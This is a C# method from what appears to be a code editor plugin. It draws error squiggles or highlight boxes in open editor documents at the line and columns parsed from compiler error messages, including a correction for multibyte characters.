/// <summary> /// Squiggle one result /// </summary> private void AddSquiggle(ListViewItem item) { bool fixIndexes = true; Match match = errorCharacters.Match(item.SubItems[2].Text); if (match.Success) { // An error with this pattern is most likely a MTASC error (not multibyte) if (item.ImageIndex != 0) { fixIndexes = false; } } else { match = errorCharacter.Match(item.SubItems[2].Text); } if (!match.Success) { match = errorCharacters2.Match(item.SubItems[2].Text); } if (match.Success) { String fname = (item.SubItems[4].Text + "\\" + item.SubItems[3].Text).Replace('/', '\\').Trim(); Int32 line = Convert.ToInt32(item.SubItems[1].Text) - 1; ITabbedDocument[] documents = PluginBase.MainForm.Documents; foreach (ITabbedDocument document in documents) { if (!document.IsEditable) { continue; } ScintillaControl sci = document.SciControl; Language language = PluginBase.MainForm.SciConfig.GetLanguage(sci.ConfigurationLanguage); Int32 style = (item.ImageIndex == 0) ? (Int32)ScintillaNet.Enums.IndicatorStyle.RoundBox : (Int32)ScintillaNet.Enums.IndicatorStyle.Squiggle; Int32 fore = (item.ImageIndex == 0) ? language.editorstyle.HighlightBackColor : 0x000000ff; Int32 indic = (item.ImageIndex == 0) ? 0 : 2; if (fname == document.FileName) { Int32 end; Int32 start = Convert.ToInt32(match.Groups["start"].Value); // start column is (probably) a multibyte length if (fixIndexes) { start = this.MBSafeColumn(sci, line, start); } if (match.Groups["end"] != null && match.Groups["end"].Success) { end = Convert.ToInt32(match.Groups["end"].Value); // end column is (probably) a multibyte length if (fixIndexes) { end = this.MBSafeColumn(sci, line, end); } } else { start = Math.Max(1, Math.Min(sci.LineLength(line) - 1, start)); end = start--; } if ((start >= 0) && (end > start) && (end < sci.TextLength)) { Int32 position = sci.PositionFromLine(line) + start; sci.AddHighlight(indic, style, fore, position, end - start); } break; } } } }